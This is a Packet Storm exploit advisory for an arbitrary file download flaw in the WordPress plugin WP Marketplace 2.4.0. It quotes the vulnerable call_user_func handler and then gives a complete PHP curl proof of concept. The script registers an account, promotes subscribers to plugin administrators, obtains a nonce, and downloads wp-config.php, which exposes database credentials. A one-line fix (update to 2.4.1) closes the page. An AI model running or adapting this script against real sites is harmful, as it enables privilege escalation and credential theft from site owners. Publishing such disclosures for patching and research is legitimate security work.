what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Marketplace 2.4.0 Arbitrary File Download

WordPress Marketplace 2.4.0 Arbitrary File Download
Posted Mar 25, 2015
Authored by Kacper Szurek

WordPress Marketplace version 2.4.0 suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary
advisories | CVE-2014-9013, CVE-2014-9014
SHA-256 | ff5c9bca6be4f917e44ba3f43280d1887e3442049bcb78dc75cd7e35100af664

WordPress Marketplace 2.4.0 Arbitrary File Download

Change Mirror Download
# Exploit Title: WP Marketplace 2.4.0 Arbitrary File Download
# Date: 26-10-2014
# Software Link: https://wordpress.org/plugins/wpmarketplace/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
# CVE: CVE-2014-9013 and CVE-2014-9014

1. Description

Anyone can run user defined function because of call_user_func.

File: wpmarketplace\libs\cart.php

function ajaxinit(){
if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){
if(function_exists($_POST['execute']))
call_user_func($_POST['execute'],$_POST);
else
echo __("function not defined!","wpmarketplace");
die();
}
}

http://security.szurek.pl/wp-marketplace-240-arbitrary-file-download.html

2. Proof of Concept

$file = '../../../wp-config.php';
$url = 'http://wordpress-url/';
$user = 'userlogin';
$email = 'useremail@email.email';
$pass = 'password';
$cookie = "/cookie.txt";

$ckfile = dirname(__FILE__) . $cookie;
$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");

// Register
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url.'?checkout_register=register');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'register_form' => 'register',
'reg[user_login]' => $user,
'reg[user_email]' => $email,
'reg[user_pass]' => $pass
));
$content = curl_exec($ch);
if (!preg_match("/success/i", $content)) {
die("Cannot register");
}
// Log in
curl_setopt($ch, CURLOPT_URL, $url.'wp-login.php');
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'log' => $user,
'pwd' => $pass,
'wp-submit' => 'Log%20In'
));
$content = curl_exec($ch);
if (!preg_match('/adminmenu/i', $content)) {
die("Cannot login");
}
// Add subscriber as plugin admin
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'action' => 'wpmp_pp_ajax_call',
'execute' => 'wpmp_save_settings',
'_wpmp_settings[user_role][]' => 'subscriber'
));
$content = curl_exec($ch);
if (!preg_match('/Settings Saved Successfully/i', $content)) {
die("Cannot set role");
}
// Request noonce
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'action' => 'wpmp_pp_ajax_call',
'execute' => 'wpmp_front_add_product'
));
$content = curl_exec($ch);
preg_match('/name="__product_wpmp" value="([^"]+)"/i', $content, $nonce);
if (strlen($nonce[1]) < 2) {
die("Cannot get nonce");
}
// Set file to download
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'__product_wpmp' => $nonce[1],
'post_type' => 'wpmarketplace',
'id' => '123456',
'wpmp_list[base_price]' => '0',
'wpmp_list[file][]' => $file
));
$content = curl_exec($ch);
header("Location: ".$url."?wpmpfile=123456");

3. Solution:

Update to version 2.4.1

https://downloads.wordpress.org/plugin/wpmarketplace.2.4.1.zip


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close